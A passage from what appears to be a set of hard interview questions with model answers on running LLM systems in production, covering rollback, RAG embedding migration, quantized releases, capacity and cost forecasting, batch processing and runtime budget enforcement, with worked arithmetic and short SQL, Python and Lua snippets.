Trade-offs. Full prompt/response logging makes replay and eval possible but creates PII and retention liability; I'd redact content, keep token counts and a content hash in the span, and put raw text in a short-TTL store (7 days) with tenant-scoped access. Sampling: 100% of errors and canary traffic, 1–10% of control success. Full tracing on control is the expensive half with the least signal. Per-request cost attribution needs the pricing version pinned per request; aggregate billing can't slice by tenant or feature.

Failure modes and how I'd catch them. Telemetry loss: the gateway emits a request counter, spans emit a span counter; alert when spans/requests drops below 0.98 over 5 minutes, because a silent gap means you roll back blind. Missing manifest ID: you see a latency shift but can't name the cause among three live changes. Cardinality blowup: putting user ID or prompt hash on a metric label explodes Prometheus series. Keep high-cardinality keys in traces, low-cardinality in metrics.

The deciding test: can I answer "did this release change cost per success for tenant X" in under five minutes? If not, the instrumentation is wrong.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-9

Design state-safe rollback for an LLM system.

Answer

Clarify, then answer. "State-safe" means two invariants: no request observes a mix of old and new behaviour, and no external effect is applied twice or silently dropped. I'll assume a serving stack where a manifest pins the model snapshot, prompt template, tool set and retrieval index version; workflows are multi-step and call external systems; the bad release is v7 and the rollback target is v6. A Kubernetes kubectl rollout undo is the wrong tool here: it restarts pods, it doesn't reclassify in-flight work. Rollback is a routing and reconciliation problem, not a deploy problem.

Core answer: four ordered moves.

  1. Freeze assignment. Flip the routing flag so no new workflow starts on v7. This is a config change, so it propagates in seconds, not the minutes a redeploy takes. Don't delete v7 artifacts yet: you need them to reproduce the failure.

  2. Repoint to v6. Because v6 is a pinned snapshot, this is a pointer change. The trap is the cache: if the key is the prompt hash alone, v6 requests hit v7's cached responses. Keys must be resp:<manifest_version>:<hash>, so repointing makes v7 entries unreachable instead of wrong.

  3. Classify in-flight work by the effect boundary, not by age. The deciding criterion is whether the workflow has already committed an externally visible effect.

state at T0dispositionwhy
no side-effecting tool called yetcancelnothing to undo
effect committed, no ack receivedreconcile against the system of recordyou don't know whether it landed
effect committed and acked, workflow incompletelet it finish, or compensatefinishing is cheaper if v6 can consume the state
  1. Reconcile, don't guess. For each workflow past the boundary, read the authoritative outcome (payment ledger, ticket store) using the idempotency key the workflow sent. Landed → mark complete. Not landed → retry on v6. Compensation (refund, delete) is a new externally visible effect, so it needs separate authorization; the rollback operator usually shouldn't hold that permission.

Worked trace. 40 rps, p99 1.2 s, but agentic workflows run up to 30 s. At T0, in-flight ≈ 40 × 30 = 1,200. Assume 15% crossed the effect boundary → 180 to reconcile, 1,020 to cancel. Reconciliation at 20 concurrent workers, 200 ms per ledger read: 180 × 0.2 / 20 = 1.8 s. Cancellation is the bulk of the work, not the risky part.

Schema. Expand/contract: add the v7 column nullable, dual-write, backfill, drop the old column in a later release. Rollback is safe through expand and dual-write; after the drop, v6 can't read the row, so the drop is the point of no return. Build indexes with CREATE INDEX CONCURRENTLY so the build doesn't lock writes.

Failure modes. Partial writes: a workflow wrote to two systems and only one committed; detect by diffing the idempotency-key ledger against the workflow step log. Cache poisoning: v7 responses served under v6 keys; detect by asserting the manifest version in the response envelope. Orphaned side effects: a cancelled workflow already sent an email; detect by an undrained outbox.

Close. Verify three things: routing shows 100% v6, no v7 cache-key prefix is being read, and the reconciliation ledger has zero unresolved idempotency keys. Keep v7 artifacts for the postmortem.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-10

Migrate LLM memory or RAG state during deployment.

Answer

Clarify, then answer

Two questions decide the shape: what state are you moving, and can you take a write freeze? Assume a RAG service with 12M chunks in pgvector, a rolling deploy across 40 pods, no maintenance window, and an embedding change from a 1536-dim model to a 3072-dim one. Three state types move, and they need different treatment: the vector index, conversation memory, and the retrieval cache.

The rule that decides the rest: a query must never mix embedding spaces. Cosine similarity from two models isn't comparable, so a read path that unions v1 and v2 rows ranks noise as signal. Migration is therefore a version-pointer flip, not a merge.

Mechanism

Add a parallel table rather than altering the old one:

SQL
CREATE TABLE chunk_embedding (
  chunk_id      text NOT NULL,
  model_version text NOT NULL,          -- 'v1' | 'v2'
  content_hash  bytea NOT NULL,         -- sha256 of the chunk text at embed time
  embedding     halfvec(3072) NOT NULL, -- pgvector >= 0.7; hnsw indexes cap at 2000 dims for vector, 4000 for halfvec
  PRIMARY KEY (chunk_id, model_version)
);

That dimension cap is the first thing that bites: a plain vector(3072) column can be stored but not HNSW-indexed, so the 3072-dim model needs halfvec or a Matryoshka truncation to 1536 dims.

Backfill is an idempotent upsert keyed by (chunk_id, model_version), resumable, rate-limited to stay under the embedding API's token-per-minute ceiling. At 12M chunks x ~400 tokens = 4.8B tokens, text-embedding-3-large at OpenAI's published $0.13/1M tokens (check current pricing; it moves) is roughly $620, and at 200 chunks/s about 17 hours. Store content_hash so a chunk edited mid-backfill is detected rather than silently embedded from stale text.

Read path: precedence is a pointer, never "whichever row exists":

Python
# Python 3.12, psycopg 3.2
ACTIVE = os.environ["RAG_EMBED_VERSION"]  # flipped per canary stage, not per request

def retrieve(query: str, k: int = 10):
    qv = embed(query, model=MODELS[ACTIVE])
    return conn.execute(
        "SELECT chunk_id, 1 - (embedding <=> %s) AS score "
        "FROM chunk_embedding WHERE model_version = %s "
        "ORDER BY embedding <=> %s LIMIT %s",
        (qv, ACTIVE, qv, k)).fetchall()

Trace it: with ACTIVE='v2' and 9M of 12M chunks backfilled, every query silently loses the 3M un-backfilled chunks. Recall@10 drops before it recovers. That is why the pointer flips only after backfill and reconciliation pass, and why the canary compares recall@10 overlap between v1 and v2 on a labeled query set before any traffic moves.

Reconcile before you flip

checkhowcatches
countsSELECT model_version, count(*) ... GROUP BY 1partial backfill
contentchecksum over chunk_id ordered by id, per versionrows written from stale text
deletionstombstone table joined at readbackfill resurrecting deleted chunks
ACLsre-join the ACL table on read, never cache it in the indexpermission drift across versions

Failure modes

  • Cache key not versioned: cache:{sha1(query)} serves v1 hits under v2 for the whole TTL. Key it cache:{model_version}:{sha1(query)}.
  • Conversation memory: additive fields only; old pods reading a new required field throw. Dual-write, read old-until-new-present, TTL 7 days.
  • Deletion during backfill: without tombstones the backfill re-inserts a chunk a user deleted.

Trade-offs

Dual-write doubles embedding spend and adds a write per chunk. Under ~100k chunks with a maintenance window, stop-the-world reindex is cheaper and simpler: dual-write exists to avoid downtime, not to be better. And don't migrate at all until a labeled set shows the new model's recall@10 beats the old by more than the ~$620 and 17 hours cost. Keep the v1 table for one full deploy cycle plus 7 days, then drop it.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-19

Release a quantized model safely.

Answer

Core answer (first 90 seconds). "Safely" means three things, and I'd say them before anything else: the artifact loads and runs on the exact kernel and hardware you'll serve it on; its behavior stays inside a bound you set before you measure; and you can revert to full precision in one step. Miss any of those and it's not a release, it's a hope.

Assumptions I'd state out loud: decoder-only LLM, inference only (no fine-tuning), a full-precision baseline already serving, and we control the serving stack so versions can be pinned. Then the shape is pin → measure → gate → canary.

Why it degrades. Quantization error isn't uniform. A handful of channels in each weight matrix carry large-magnitude outliers; per-tensor scaling lets those outliers set the scale and crushes everything else into a few levels. Group-wise quantization gives each block its own scale, group size 128 is the common default in GPTQ and AWQ, which is why group size is the single biggest quality knob. Calibration matters because GPTQ/AWQ fit scales from activation statistics: calibrate on 512–1024 samples that resemble your traffic, not on generic web text, or the scales are fit to the wrong distribution.

Alternatives and when not to use them.

methodbitscalibrationnotes
bitsandbytes NF44nodrop-in, fastest to evaluate; slower kernels
GPTQ4/3yesGPU serving, needs a calibration set
AWQ4yesactivation-aware, often best 4-bit quality
GGUF Q4_K_M~4.5nollama.cpp/CPU, mixed-precision k-quants

Don't quantize if you're memory-bound but not latency-bound and can afford bf16: 4-bit kernels can be slower at low batch because of dequant overhead. Below ~3B parameters, quantization error is proportionally larger, so the quality gate should be tighter.

Failure modes and how you detect them.

  • Silent kernel fallback. The server may dequantize on the fly or pick a slower path. Detect by logging the served kernel and comparing prefill latency against baseline; a 2× prefill regression with unchanged weights means you're not running the kernel you think.
  • Calibration mismatch. Aggregate eval looks fine, rare slices don't. Detect with slice-level eval (long context, code, non-English) never aggregate alone.
  • Cache poisoning during canary. If quantized and full-precision deployments share a KV/prefix or prompt cache, you can serve mixed outputs. Separate caches per deployment; this is the failure that makes a canary lie.

Artefacts. Load path, checked against transformers 4.44 / bitsandbytes 0.43 / torch 2.4:

Python
from transformers import AutoModelForCausalLM, BitsAndBytesConfig
import torch

bnb = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_quant_type="nf4",
    bnb_4bit_compute_dtype=torch.bfloat16,
    bnb_4bit_use_double_quant=True,
)
model = AutoModelForCausalLM.from_pretrained(
    "meta-llama/Llama-3.1-8B-Instruct",
    quantization_config=bnb,
    device_map="cuda:0",
)

Arithmetic for the memory claim: Llama-3.1-8B at bf16 is 8e9 × 2 bytes = 16 GB of weights. NF4 with double quantization is roughly 4.4 bits/parameter, so 8e9 × 4.4/8 ≈ 4.4 GB, plus ~1 GB of bf16 compute buffers and KV cache. That's the point of the exercise, and also why you must re-benchmark: the memory win does not guarantee the latency win.

Gate table (thresholds are example values for this deployment, set before measuring):

checkbaselinegate
aggregate eval68.0≥ 66.5
32k needle-in-haystack95%≥ 90%
tool-call JSON validity99.5%≥ 99%
p99 TTFT @ 20 rps180 ms≤ 250 ms
peak VRAM16 GB≤ 6 GB

Then canary 1% → 10% → 100%, with rollback as a config swap back to the pinned full-precision model ID: keep those weights resident or on fast storage so reverting is a deploy, not a re-download.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-24

Plan model or prompt retirement.

Answer

The 90-second answer. Retiring a model or prompt is a traffic-drain problem, not a deletion problem. Assume a qualified replacement is already serving and you own the registry. Four moves: enumerate every caller from observed traffic, freeze new adoption, drain until the slowest caller has stopped, then revoke and archive. The phase that decides success is enumeration, and the input that matters is not the registry: it is the gateway's access log. The registry tells you what is deployed; the log tells you who is calling it.

Enumerate from traffic, not configs. Configs miss the cron job someone wrote in a notebook and the shadow deployment behind a feature flag. Query the gateway:

SQL
SELECT caller_service, COUNT(*) AS calls, MAX(ts) AS last_seen
FROM gateway_access
WHERE route = '/v1/summarize' AND ts > now() - INTERVAL '30 days'
GROUP BY caller_service ORDER BY calls DESC;

Hypothetical output:

caller_servicecallslast_seen
checkout-api1,204,3312 min ago
batch-enricher8,90026 days ago
eval-harness4123 days ago

batch-enricher is the one that bites: 8,900 calls but last_seen 26 days ago means it runs monthly. If your log retention is 7 days, it is invisible and you 500 it on the next run. Log retention must exceed the longest caller period.

Phases.

PhaseActionExit signal
EnumerateLog query plus registry alias lookupEvery caller has an owner and a period
FreezeRepoint the production alias to the replacement, announce the deadlineNo new callers appear in the log
DrainMove callers onto the replacementZero calls to the old route for one full caller period
RevokeDelete the old version's alias, credentials, tool grantsOld route returns 410
ArchiveKeep manifests, eval runs, incident links; delete prompt text if it embeds PIILineage queryable, sensitive data gone

Drain window arithmetic. Revoke at T_revoke = T_freeze + max(cache TTL, longest caller period, client retry window). With a 24-hour response cache, a monthly batch job, and clients that retry with exponential backoff up to 5 minutes, the window is 30 days, not 24 hours. The cache is the small term; the periodic caller is the large one. Monitor for one full caller period after revoke, not TTL plus an hour.

Revoke through the registry, not by deleting the model. MLflow 2.x aliases:

Python
from mlflow.tracking import MlflowClient

client = MlflowClient()
client.delete_registered_model_alias("summarize", "summarize-v3")

Trace: the alias row is removed, so get_model_version_by_alias("summarize", "summarize-v3") now raises MlflowException with error code RESOURCE_DOES_NOT_EXIST, and callers that resolve the alias at request time fail fast. Callers that pinned the version number keep working, which is why the gateway 410 matters as well as the alias removal.

Trade-offs. Soft deprecation (leave the endpoint up, return a Warning header) costs the serving spend but catches unknown callers. Hard shutdown saves it and risks the 3 a.m. page. Decide on the count of callers you could not attribute to an owner: if that count is zero and no regulatory hold applies, revoke. If a hold applies, archive the version and keep it resolvable; deletion is not available to you.

Failure modes and detection.

  • Missed caller: 410s grouped by caller_service on the old route. Alert on any 410 from a caller not on the migration list.
  • Stale cache: hit ratio on the old cache key stays above zero after revoke. The responses are stale but not errors, so error-rate alerts stay quiet: watch the key, not the error rate.
  • No rollback: rehearse before revoke. Flip the production alias back to the old version, send one request, confirm a 200, flip forward again. If the old weights were already deleted, this fails and you find out before the incident, not during it.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-18

Evaluate continuous batching for self-hosted inference.

Answer

Short answer. Continuous batching (iteration-level scheduling) is the default for self-hosted LLM serving once concurrency is more than a handful of requests and decode dominates. It moves the unit of scheduling from the request to the decode iteration: after every forward pass the scheduler retires finished sequences and admits new ones into the same batch, instead of freezing a batch at request time. Decode is memory-bandwidth bound, every step re-reads the model weights, so a fuller batch is close to free throughput. It is the wrong choice when you serve one request at a time, or when prefill dominates and you have not added chunked prefill.

Why it wins. Static batching pads every sequence to the longest output in the batch and leaves finished slots idle. Four requests with outputs 50, 400, 20, 300 tokens, batch size 4:

stepsactive (static)active (continuous)
1–20A,B,C,DA,B,C,D
21–50A,B,DA,B,D,E
51–400B,DB,D,E,F

Static runs 400 steps across 4 slots = 1600 slot-steps for 770 useful tokens, 48% occupancy. Continuous admits E at step 21 and F at step 51, so the same 400 steps carry roughly twice the useful tokens. (Worked example, not a benchmark.)

KV cache is the budget that decides how full the batch can get. For Llama-2-7B in fp16: 2 (K and V) × 32 layers × 32 heads × 128 head_dim × 2 bytes = 512 KiB per token, so a 4096-token context costs 2 GiB. On an 80 GB A100 with ~14 GB of weights, that caps you near 30 concurrent 4k sequences before the scheduler starts preempting.

Trade-offs. Continuous batching trades TTFT for throughput. A long prefill admitted mid-flight stalls every decoding sequence in the batch, so p99 TTFT rises even as tokens/s climbs. Chunked prefill, split the prompt into fixed-size chunks and interleave them with decode, fixes that at the cost of slightly higher single-request latency. Disaggregating prefill and decode onto separate pools goes further, at the cost of shipping KV cache between nodes. If traffic is one request at a time, or prompts are huge and outputs are a few tokens, none of this helps: you are prefill-bound and batching decode buys nothing.

Failure modes and how you see them.

  • Long-sequence starvation: one 32k-token request holds a slot for thousands of iterations. Signal: p99 TTFT for short prompts climbing while aggregate throughput is flat; break the queue-wait histogram out by prompt length.
  • Preemption thrash: KV cache fills, the scheduler preempts and recomputes. Signal: preemption counter and recompute tokens/s rising while GPU utilization stays pinned and goodput falls.
  • Unfair tenant share: one tenant's long outputs crowd out the rest. Signal: per-tenant token share over a rolling window.

How to evaluate it. Replay a production-shaped trace (prompt/output length distribution, arrival rate, streaming) against your own static-batching baseline, sweep max_num_seqs, and report goodput (requests/s meeting a TTFT and TPOT SLO), not raw tokens/s. Track KV cache utilization, preemption count and p99 inter-token latency at each setting. Canary the exact runtime version: schedulers change between releases.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-25

How do you reduce cold-start latency and cost for autoscaled or serverless GPU inference, including model loading, pre-warming, and weight-caching strategies?

Answer

Clarify the SLO and the model: a 7B on a T4 has a different cold-start profile than a 70B on an H100. Assume 70B fp16, A100 80GB, weights on local NVMe, serverless GPU with scale-to-zero. Cold start is five stages: node provisioning, container image pull, weight load, engine/CUDA init, and warmup. Measure each; the dominant one decides the fix.

For a 70B fp16 model, weights are 140 GB. NVMe at 7 GB/s takes 20 s to read; if the page cache is warm, it's ~2 s. So weight caching is the highest-leverage lever. Run a node-local daemon that mmaps the safetensors file read-only and shares pages across replicas on that node. For serverless, mount a persistent model cache volume. Use OCI image layers for the runtime and keep weights out of the image; lazy-pull the runtime with stargz or SOCI so the container starts before all layers arrive. Bake weights into the VM image only if you control the host.

Pre-warming: after weights load, run a synthetic batch through the engine to capture CUDA graphs, allocate KV cache blocks (PagedAttention), and warm the tokenizer. Do this before the replica joins the load balancer. For a 70B on A100, engine init and warmup add ~15 s; skipping it moves that cost to the first user request.

Quantization: GPTQ 4-bit cuts 140 GB to ~35 GB, so NVMe load drops to 5 s and you can use a smaller GPU. That changes the cost equation.

Cost: a warm A100 replica costs ~$0.05/min on-demand. A 125 s cold start wastes ~$0.10 of GPU time. If you see 100 cold starts/hour, that's $10/hr in wasted cold-start time; two warm replicas cost $6/hr. So keep a warm pool when cold starts exceed ~60/hour. Use spot for the warm pool and scale on queue depth, not CPU.

Failure modes: thundering herd on shared storage when many replicas cold-start together. Detect via storage latency and queue depth; stale weight cache serving old weights. Detect via version hash mismatch; incomplete warmup causing JIT on first real request, detect via p99 first-token latency; warm pool never scaling down, detect via FinOps anomaly.

stagecold (no cache)warm cache
node provision60 s0 s (warm pool)
image pull30 s0 s (pre-pulled)
weight load20 s2 s
engine init5 s5 s
warmup10 s0 s (already warm)
total125 s7 s

Arithmetic: 140 GB / 7 GB/s = 20 s. 140 GB / 35 GB (4-bit) = 4× smaller, so 5 s. Warm replica cost: $3/hr = $0.05/min. Cold start waste: 125 s × $0.05/min ≈ $0.10. Break-even: warm pool of 2 replicas = $6/hr; cold starts > 60/hr make warm pool cheaper.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-20

Plan capacity for an LLM service.

Answer

Assumptions I'd state before any number. Chat service, 70B-class model in fp16 on 2×H100 80GB per replica with tensor parallelism, vLLM. Peak 20 req/s. Prompt p50 800 tokens, p99 8k. Output p50 300, p99 2k. SLO: TTFT p95 under 1s, inter-token p95 under 50 ms. Change any of those and the numbers move; the method doesn't.

Capacity is the max of three constraints, not one number.

KV memory caps concurrency. Per token: 2 × layers × kv_heads × head_dim × 2 bytes. Llama-3-70B is 2×80×8×128×2 = 320 KiB/token. An 8k-context sequence holds 2.56 GB. Weights are 140 GB, so 70 GB per GPU at TP=2, leaving ~10 GB for KV after activations and fragmentation: about 3 long sequences per GPU, 6 per replica. That is the ceiling on in-flight requests, and it's why you cap max_tokens rather than accept whatever the client sends.

Decode is bandwidth-bound. Every step reads all weights: 140 GB. H100 HBM3 peaks at 3.35 TB/s, ~70% achievable → 2.3 TB/s → ~61 ms per step, independent of batch size until compute binds. Batch 64 gives 64/0.061 ≈ 1050 tok/s. But at 8k context the KV read is 64 × 8192 × 320 KiB = 172 GB per step, larger than the weights, so the step stretches to ~136 ms and throughput drops to ~470 tok/s. Long context is a throughput tax, not just a memory tax.

Prefill is compute-bound. ~2 × params × tokens FLOPs: a 1k-token prompt on 70B is 140 TFLOP. At ~450 TFLOPS achievable fp16 on H100, that's ~0.3 s. Prefill and decode share the GPU, so chunked prefill or separate pools matter once prompt:output ratios get high.

ConstraintArithmeticResult
KV memory320 KiB/token × 81922.56 GB/seq; ~6 concurrent per replica
Decode @ 8k ctx, batch 64(140 + 172) GB / 2.3 TB/s136 ms/step → ~470 tok/s
Prefill, 1k prompt140 TFLOP / 450 TFLOPS~0.3 s
Fleet for 20 req/s × 300 out tok6000 tok/s ÷ 470 tok/s~13 replicas

Headroom. 13 replicas is the steady-state floor. Add N+1 for a zone loss, 25% for burst above forecast, and one for canary/shadow: 18. On a provider API instead, 6000 tok/s is ~360k TPM, and you size RPM/TPM at 1.5× peak because 429s, not latency, are the failure you actually hit.

Failure modes and their signals. KV exhaustion shows as vLLM's gpu_cache_usage_perc pinned at 1.0 with num_preemptions climbing: requests get recomputed and TTFT spikes. Queue wait shows as TTFT p99 diverging from p50 while inter-token stays flat. Provider throttling shows as a 429 rate, not as slowness. Retries and shadow traffic are the classic undercount: a 10% retry rate at 3 attempts is 30% extra load.

Provider API vs self-host. Below ~40% sustained utilization the API wins: you pay per token and someone else absorbs the burst. Above that, and when peak/mean exceeds ~3×, reserved capacity or your own replicas win, because you're buying headroom you can't burst into. Self-hosting loses on spiky workloads where you provision for peak and idle 80% of the time.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-13

Create a capacity and cost forecast.

Answer

Start with what the forecast is for, because "can we afford the launch" and "when do we buy GPUs" want different numbers. I'll assume a support assistant at 200,000 requests a day, and every unit price below is a labelled placeholder: swap in your contracted rate and the method is unchanged.

Three numbers carry it: $2.6k/day steady state, about $79k/month; a peak of 1.73M tokens/minute, which is the number you take to the provider's quota form; and a self-host break-even at 18% of today's volume, which keeps us on the API this year.

The arithmetic. 200,000 requests times 3,500 input tokens, system prompt plus retrieved policy docs, and 400 output tokens is 700M input tokens/day. An 8% retry-and-overhead multiplier takes that to 756M input and 86.4M output. 45% of input tokens are cache reads billed at 0.1x, so billed input is 756M * 0.55 + 756M * 0.45 * 0.1 = 450M. At placeholder prices of $3.00 per 1M input and $15.00 per 1M output: 450M * $3 + 86.4M * $15 = $1,350 + $1,296 = $2,646/day, $79k/month, 1.3 cents per request, $30.60 per 1M output tokens blended.

Two alternatives are worth pricing before accepting that. Remove the cache and input cost goes from $1,350 to $2,268/day: the cache is worth $28k/month here, so a prompt-template edit that moves a timestamp into the stable prefix is a cost incident, not a style nit. Move the 30% of traffic that is offline (nightly evals, bulk classification) onto a 24-hour batch tier at 50% off and you save $397/day, $12k/month, paid for with a day of latency.

Self-hosting needs one measurement before it is a decision: tokens/second per node, from a pilot. One 8-GPU node at a reserved $20/hour is $480/day, and $480/day is 18% of today's token spend, so a single node wins only if its measured throughput covers at least 18% of daily demand while staying above 60% utilization. Without that pilot number the API is the cheaper answer. The shape of the trade: the API buys elasticity per token, GPUs buy margin per hour, and idle GPU hours are what kills the second one. Hybrid is usually right: batch and offline work on owned hardware, realtime on the API.

Peak sizing is separate from total spend. Average load is 8,333 requests/hour; the peak hour runs 3.2x, so 26,666 requests/hour, 7.4 req/s, roughly 28,900 tokens/s, 1.73M tokens/minute. At a 2.5s p95 that is 18.5 requests in flight, so I'd provision 30 concurrent slots and file the TPM increase now, not in launch week.

ScenarioDriversCost/dayCost/month
Expected200k req/day, 3.5k in / 400 out, 45% cache reads, 1.08 retry$2,646$79k
Highsecond product launches: 2x volume, 1.5x turns per conversation$7,938$238k
Incident windowretry rate 8% to 30%, fallbacks routed to the large model, 6 hours at 3x+$1.3k on the dayburied in the monthly total

Weekly I reconcile actuals to forecast by driver, in this order: request volume, tokens per request, cache-hit ratio, model mix, unit price. A 15% overspend means something different for each, so the variance note has to name which one moved. Then the failure modes and their detectors. Viral tenant: track each tenant's share of daily tokens, alert at 25% of the day's total or 80% of that tenant's monthly token budget, and enforce a gateway token cap that downgrades the model rather than failing the request. Routing drift: chart blended cost per 1M output tokens daily; a 10% jump with no price change means a routing rule changed the model mix. Cache regression: the cache-read ratio (prompt_tokens_details.cached_tokens on OpenAI, cache_read_input_tokens on Anthropic) falling is the first symptom of the $918/day input jump above.

Fund the high scenario plus 20% headroom, alert on hourly spend rather than monthly because a six-hour retry storm is $1.3k and vanishes in a roll-up, and re-run the self-host ratio each quarter against the growth forecast.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-17

Design an LLM batch-processing path.

Answer

First 60–120 seconds. Clarify two things before designing anything: is the work genuinely offline (no human waiting on a single item), and what is the deadline. Hours or seconds? If the deadline is under a minute, a provider batch API is the wrong tool and you want async workers behind a queue. Assume here: items are independent, no cross-item ordering, deadline measured in hours, and data may leave the region only if the tenant's contract allows it.

The core answer: submit one batch per (tenant, region, model_version, deadline_bucket). Give every item a deterministic custom_id derived from tenant + document id + model version, so a resubmit is idempotent. Keep per-item status in your own store: the provider's batch is transport, not your source of truth. Then reconcile the output file back into that store, and retry only items still pending.

Choosing the path.

pathcompletion windowcostuse when
OpenAI Batch API24 h window, often minutes–hours50% off input and output tokensoffline, deadline ≥ hours
Anthropic Message Batches24 h max, typically under 1 h50% offsame; larger files (100k requests / 256 MB)
async workers + queueseconds–minutesfull token price + your computedeadline < 1 h, or per-item streaming needed
on-demand with concurrency capsecondsfull pricea human is waiting

The deciding criterion is the gap between your deadline and the provider's window, plus whether you can tolerate a whole batch expiring. OpenAI caps a batch at 50,000 requests and 200 MB per input file; if your job is bigger, shard it and track shards separately.

Making resubmission safe.

Python
import hashlib

def item_key(tenant, doc_id, model_ver):
    return hashlib.sha256(f"{tenant}:{doc_id}:{model_ver}".encode()).hexdigest()[:32]

def build_batch(rows, model_ver):
    seen, out = set(), []
    for r in rows:
        k = item_key(r["tenant"], r["doc_id"], model_ver)
        if k in seen:            # duplicate inside this file
            continue
        seen.add(k)
        out.append({"custom_id": k, "method": "POST",
                    "url": "/v1/embeddings",
                    "body": {"model": model_ver, "input": r["text"]}})
    return out

Trace it: three rows arrive, two of which share a doc_id for the same tenant and model version. The first is emitted; the second hits seen and is skipped; the third is emitted. Three rows in, two requests out. Results return keyed by custom_id, so each one lands on the right row without a lookup table. If the batch expires, you resubmit only keys whose status is still pending.

Failure modes and how you see them.

  • Batch expires with items pending. Detection: batch status expired or cancelled with a non-zero pending count. Resubmit only the pending custom_ids; the completed ones are already reconciled.
  • Duplicate custom_id in one file. The provider rejects the file or silently collapses duplicates. Detection: assert uniqueness at build time, before upload.
  • Partial failure. Some items fail validation and appear as per-item errors in the output file. Retry those with backoff; never resubmit the whole batch, because any side effect already applied runs twice.
  • Tenant or region leak. Detection: assert exactly one tenant and one region per file at build time, and fail the build if not.

Measure throughput (items/hour), latency-to-deadline (p99 completion minus submit time), per-item failure rate, cost per 1,000 items, and a sampled quality check against a held-out set: a 50% discount is worthless if the batch model version drifts from the one you validated.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-12

Build LLM unit economics and allocation.

Answer

Core answer (first 90 seconds).

The unit is cost per verified successful task, not cost per token, not cost per model. Cost per token is an input to that number, never the number itself. A team reporting cost per 1M tokens optimizes token count and ships a worse product.

Assume three things: per-request usage comes back from the provider, a product event marks task completion, and you can join them on a request ID. If any is missing, build that first; everything below is arithmetic on top of it.

Four layers: meter, price, attribute, verify.

Meter. Per call, capture model, input tokens, output tokens, cached input tokens, reasoning tokens, retry count, tool calls, request ID. OpenAI returns usage.prompt_tokens, usage.completion_tokens, usage.prompt_tokens_details.cached_tokens, usage.completion_tokens_details.reasoning_tokens; Anthropic returns usage.input_tokens, usage.output_tokens, usage.cache_read_input_tokens, usage.cache_creation_input_tokens. Emit them as OpenTelemetry GenAI attributes (gen_ai.usage.input_tokens, gen_ai.request.model, gen_ai.operation.name: still marked experimental) on the same span that carries your tenant/task/release tags.

Price. A versioned price card, one row per (provider, model, token class, effective date). Append rows, never overwrite. Store currency on the row and the FX rate with its date.

Hypothetical card for the worked example below:

modelinput /1Mcached input /1Moutput /1M
model-a$3.00$0.30$15.00
model-b$0.15$0.075$0.60

Attribute. Every call gets a key: tenant, product, environment, task, workflow, release, experiment. Direct attribution where the tag exists; proportional allocation (share of tokens) only for shared infrastructure (gateway, vector store, embedding batch jobs) that has no per-request tag. Keep the unallocated bucket visible; it is your instrumentation coverage metric.

Verify. Success is a product event, not HTTP 200: the user accepted the answer, the ticket closed, the patch passed CI. Cost per success = priced calls for the task, retries included, divided by verified successes.

Worked trace. One task on model-a: 4,000 input tokens (3,000 cached), 800 output, plus one retry consuming 1,200 input / 200 output.

  • Attempt 1: 3,000 cached × $0.30/1M = $0.0009; 1,000 fresh × $3.00/1M = $0.0030; 800 output × $15.00/1M = $0.0120. Subtotal $0.0159.
  • Attempt 2: 1,200 × $3.00/1M = $0.0036; 200 × $15.00/1M = $0.0030. Subtotal $0.0066.
  • Task total $0.0225. One success → cost per success $0.0225. Failure → the $0.0225 lands in the failure bucket and the success denominator does not move.

That last line is the point: retries and failures stay in the numerator.

Trade-offs. Showback (report only) versus chargeback (money moves). Showback is cheap and works while the allocation key is still changing. Chargeback changes behavior but needs a stable key, a dispute path, and a rule for shared costs no team can reduce, if the gateway is 30% of spend and no team controls it, chargeback just taxes everyone. Start showback; move a slice to chargeback once its key has been stable two quarters. Direct attribution is accurate but needs full instrumentation coverage; proportional allocation is cheap and drifts as traffic mix changes. Direct for model and tool calls, proportional for shared serving.

Failure modes.

  • Retries dropped from the numerator: cost per success reads 20–40% below the invoice. Detect by reconciling summed per-request cost against the provider invoice monthly; drift over 2% means missing calls.
  • Cache mispricing: pricing all input at the fresh rate overstates cost by the cache discount. Check cached_tokens × (input_rate − cached_rate) against the invoice line.
  • Success defined as HTTP 200: cost per success falls while quality falls. Plot success rate beside cost per success; they should not move in opposite directions for the same release.
  • Unallocated bucket growing: coverage is dropping. Alert above 5% of invoice.
  • Tenant IDs or prompts as metric labels: cardinality explosion and PII exposure. Hash the tenant key; keep prompts out of labels.

First week. One product, one task, one success event. Instrument the calls, load a price card, publish cost per success for that slice before touching anything else.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-14

Design runtime LLM budget enforcement.

Answer

Core answer (first 90 seconds)

Assume a multi-tenant SaaS: streaming chat, tool calls, and agents that spawn sub-agents. The design is a reserve-then-reconcile ledger. Before dispatch, price the worst case and atomically hold it against every scope the request touches. After the response, replace the hold with the provider's reported usage. Propagation, retries, overrides and alerts are all consequences of that one ledger.

Reservation

One Redis hash per scope, key budget:{tenant_id}:{yyyy-mm-dd}, fields held and spent. Check-and-hold must be atomic, so it is a Lua script:

LUA
-- KEYS[1]=budget key  ARGV[1]=cap_micros  ARGV[2]=want_micros
local held  = tonumber(redis.call('HGET', KEYS[1], 'held')  or '0')
local spent = tonumber(redis.call('HGET', KEYS[1], 'spent') or '0')
if held + spent + tonumber(ARGV[2]) > tonumber(ARGV[1]) then return -1 end
redis.call('HINCRBY', KEYS[1], 'held', ARGV[2])
redis.call('EXPIRE', KEYS[1], 172800)
return held + spent + tonumber(ARGV[2])

Money is integer micro-dollars; floats in a ledger drift. The hold carries a TTL of twice the p99 request duration so a crashed worker cannot leak budget forever.

Reconcile on completion: HINCRBY held -reserved, HINCRBY spent +actual. Actual comes from the provider, not from your own tokenizer: OpenAI's Chat Completions emits a final usage chunk when you pass stream_options: {"include_usage": true}, and Anthropic's Messages stream reports input_tokens in message_start and cumulative output_tokens in message_delta.

Mid-stream

